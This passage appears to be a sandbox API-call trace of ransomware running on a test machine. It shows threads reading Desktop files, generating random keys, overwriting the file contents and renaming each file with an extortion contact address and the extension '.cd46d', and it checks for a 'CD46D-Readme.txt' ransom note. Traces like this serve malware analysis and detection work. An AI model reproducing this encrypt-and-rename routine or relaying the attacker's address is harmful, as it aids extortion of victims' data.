lpNumberOfBytesRead=0x409fb88*=0x4, lpOverlapped=0x0) returned 1 [0056.248] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429188 [0056.248] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0056.248] NtQuerySystemTime (in: CurrentTime=0x409fb68 | out: CurrentTime=0x409fb68*=132174898202304000) returned 0x0 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x7d0fd4a0 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x555a83d1 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x5be3dd61 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x69b69936 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x56c5c574 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x1ed04dff [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x5173c547 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x1a7b77a7 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x68c3aaca [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x6bacdaea [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x75195678 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x57a5b93a [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x70251379 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x48091fb8 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x47b563ad [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x223dfd81 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x6f5bc4c9 [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x480b152d [0056.248] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x18ca7679 [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x7f5f3f3d [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x6f38828f [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x1ed018ad [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x75739d95 [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x2e06d1a6 [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x62726711 [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x1a10281 [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x55eb5ac9 [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x3fa83026 [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x63b8ee20 [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x62c9d0f [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x633f068e [0056.249] RtlRandomEx (in: Seed=0x409fb74 | out: Seed=0x409fb74) returned 0x517dbe65 [0056.270] ReadFile (in: hFile=0x918, lpBuffer=0x12dab810, nNumberOfBytesToRead=0x7de2, lpNumberOfBytesRead=0x409fb64, lpOverlapped=0x0 | out: lpBuffer=0x12dab810*, lpNumberOfBytesRead=0x409fb64*=0x7de2, lpOverlapped=0x0) returned 1 [0056.271] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.271] WriteFile (in: hFile=0x918, lpBuffer=0x12db8018*, nNumberOfBytesToWrite=0x7de2, lpNumberOfBytesWritten=0x409fb60, lpOverlapped=0x0 | out: lpBuffer=0x12db8018*, lpNumberOfBytesWritten=0x409fb60*=0x7de2, lpOverlapped=0x0) returned 1 [0056.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441190 [0056.530] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4412a8 [0056.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412a8) returned 1 [0056.530] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12db8018) returned 1 [0056.549] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dab810) returned 1 [0056.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4379b8) returned 1 [0056.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0056.553] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x440ea0 [0056.553] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.553] WriteFile (in: hFile=0x918, lpBuffer=0x5efe4d0*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x409fbc8, lpOverlapped=0x0 | out: lpBuffer=0x5efe4d0*, lpNumberOfBytesWritten=0x409fbc8*=0x115, lpOverlapped=0x0) returned 1 [0056.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe4d0) returned 1 [0056.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ee0) returned 1 [0056.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4412a8) returned 1 [0056.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440ea0) returned 1 [0056.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441190) returned 1 [0056.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429188) returned 1 [0056.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429570) returned 1 [0056.629] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429548) returned 1 [0056.629] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xba) returned 0x12f4d460 [0056.629] wcscpy (in: _Dest=0x12f4d460, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps" [0056.630] wcscat (in: _Dest=0x12f4d460, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps.mailto[2Hamlampampom@cock.li].cd46d" [0056.630] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x409fb80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.630] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd0) returned 0x40db20 [0056.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0056.702] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4dada0) returned 1 [0056.702] NtQueryInformationFile (in: FileHandle=0x918, IoStatusBlock=0x409fb8c, FileInformation=0x409fb64, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x409fb8c, FileInformation=0x409fb64) returned 0x0 [0056.702] NtSetInformationFile (FileHandle=0x918, IoStatusBlock=0x409fb8c, FileInformation=0x409fb64, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.713] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d460) returned 1 [0056.713] FlushFileBuffers (hFile=0x918) returned 1 [0056.715] CloseHandle (hObject=0x918) returned 1 [0056.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x418aa0 [0056.719] wcscpy (in: _Dest=0x418aa0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0056.719] wcscat (in: _Dest=0x418aa0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0056.719] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0056.719] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418aa0) returned 1 [0056.719] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e1b8) returned 1 Thread: id = 446 os_tid = 0xde8 [0049.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vcebkwn8rs.png")) returned 0x20 [0049.210] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png", dwFileAttributes=0x20) returned 1 [0056.272] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vcebkwn8rs.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x91c [0056.272] GetFileSizeEx (in: hFile=0x91c, lpFileSize=0x302fb20 | out: lpFileSize=0x302fb20*=81455) returned 1 [0056.272] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x13e2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.272] ReadFile (in: hFile=0x91c, lpBuffer=0x302faa4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x302faa0, lpOverlapped=0x0 | out: lpBuffer=0x302faa4*, lpNumberOfBytesRead=0x302faa0*=0x4, lpOverlapped=0x0) returned 1 [0056.273] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429098 [0056.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4294f8 [0056.273] NtQuerySystemTime (in: CurrentTime=0x302fa80 | out: CurrentTime=0x302fa80*=132174898202616000) returned 0x0 [0056.273] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x5658f9a3 [0056.273] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x48e150ed [0056.273] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x1a7f0136 [0056.273] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x28986e54 [0056.273] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x4ebfcf4 [0056.273] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x139f1819 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x6eecaa3b [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x4ebfcf4 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0xd521601 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0xdf34ee [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x26e3f5b8 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x41922ba5 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x2ffe643 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x1f073c85 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x5be5f6c9 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x65089f55 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x360d6578 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x475fb22d [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x31f231ec [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x3bf27f24 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x6aa31918 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x1126fe93 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x6db2810e [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x4c3698bf [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x77cc7ea5 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x4ccb176c [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x3ec9a30 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x322eb795 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x1361e4d [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x449c8d6f [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x20ec9da4 [0056.274] RtlRandomEx (in: Seed=0x302fa8c | out: Seed=0x302fa8c) returned 0x48e150ed [0056.288] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.288] ReadFile (in: hFile=0x91c, lpBuffer=0x12dc4820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x302fa60, lpOverlapped=0x0 | out: lpBuffer=0x12dc4820*, lpNumberOfBytesRead=0x302fa60*=0xc800, lpOverlapped=0x0) returned 1 [0056.288] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.288] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c318 [0056.288] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437b98 [0056.288] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.288] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416b8) returned 1 [0056.290] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12dd1028 [0056.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4294f8 [0056.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294f8) returned 1 [0056.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437b98) returned 1 [0056.291] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c318) returned 1 [0056.291] WriteFile (in: hFile=0x91c, lpBuffer=0x12dd1028*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x302fa60, lpOverlapped=0x0 | out: lpBuffer=0x12dd1028*, lpNumberOfBytesWritten=0x302fa60*=0xc800, lpOverlapped=0x0) returned 1 [0056.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dd1028) returned 1 [0056.570] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12dc4820) returned 1 [0056.570] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x29) returned 0x40acd0 [0056.570] SetFilePointerEx (in: hFile=0x91c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.570] WriteFile (in: hFile=0x91c, lpBuffer=0x5ed6ad0*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x302fae0, lpOverlapped=0x0 | out: lpBuffer=0x5ed6ad0*, lpNumberOfBytesWritten=0x302fae0*=0x10d, lpOverlapped=0x0) returned 1 [0056.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6ad0) returned 1 [0056.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40ac28) returned 1 [0056.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4410f0) returned 1 [0056.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40acd0) returned 1 [0056.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4416b8) returned 1 [0056.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429098) returned 1 [0056.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429480) returned 1 [0056.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429610) returned 1 [0056.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb2) returned 0x5e02360 [0056.621] wcscpy (in: _Dest=0x5e02360, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png" [0056.621] wcscat (in: _Dest=0x5e02360, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png.mailto[2Hamlampampom@cock.li].cd46d" [0056.621] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x302fa98, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vCebKWN8RS.png.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e002d0 [0056.701] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e002d0) returned 1 [0056.701] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4da728) returned 1 [0056.701] NtQueryInformationFile (in: FileHandle=0x91c, IoStatusBlock=0x302faa4, FileInformation=0x302fa7c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x302faa4, FileInformation=0x302fa7c) returned 0x0 [0056.701] NtSetInformationFile (FileHandle=0x91c, IoStatusBlock=0x302faa4, FileInformation=0x302fa7c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.707] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02360) returned 1 [0056.707] FlushFileBuffers (hFile=0x91c) returned 1 [0056.711] CloseHandle (hObject=0x91c) returned 1 [0056.716] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5c88 [0056.716] wcscpy (in: _Dest=0x5ed5c88, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0056.716] wcscat (in: _Dest=0x5ed5c88, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0056.716] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0056.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5c88) returned 1 [0056.716] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418aa0) returned 1 Thread: id = 447 os_tid = 0xdec [0049.211] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vftm5.png")) returned 0x20 [0049.693] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png", dwFileAttributes=0x20) returned 1 [0058.017] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\vFtm5.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vftm5.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3e4 [0058.020] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x6fefb54 | out: lpFileSize=0x6fefb54*=72971) returned 1 [0060.772] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x11d07, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.772] ReadFile (in: hFile=0x3e4, lpBuffer=0x6fefad8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6fefad4, lpOverlapped=0x0 | out: lpBuffer=0x6fefad8*, lpNumberOfBytesRead=0x6fefad4*=0x4, lpOverlapped=0x0) returned 1 [0062.219] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0062.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9110 [0062.219] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9098 [0062.219] NtQuerySystemTime (in: CurrentTime=0x6fefab4 | out: CurrentTime=0x6fefab4*=132174898262052000) returned 0x0 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x5efe1418 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x181adf1d [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x6a10dfa [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x174ff4e6 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x5e60e0ab [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x4106b71a [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x85ce907 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x2d51f1c0 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x20f76d44 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x6bf67b14 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x3254f8ed [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x2da28529 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0xc9e4fa1 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x6c3556fb [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x17e13153 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x1c26e308 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x2c2b5600 [0062.219] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x13e24b8b [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x33f5471 [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x517df140 [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x1959341d [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x50817011 [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x12cc4dec [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x10f0af1a [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x3e977d17 [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x6cf32b4f [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x7799c0a5 [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0xed3807e [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x73821ab9 [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x3a2f810a [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x2b26a54f [0062.220] RtlRandomEx (in: Seed=0x6fefac0 | out: Seed=0x6fefac0) returned 0x2a67a01a [0062.232] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.232] ReadFile (in: hFile=0x3e4, lpBuffer=0x1962e128, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x6fefa94, lpOverlapped=0x0 | out: lpBuffer=0x1962e128*, lpNumberOfBytesRead=0x6fefa94*=0xc800, lpOverlapped=0x0) returned 1 [0062.233] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 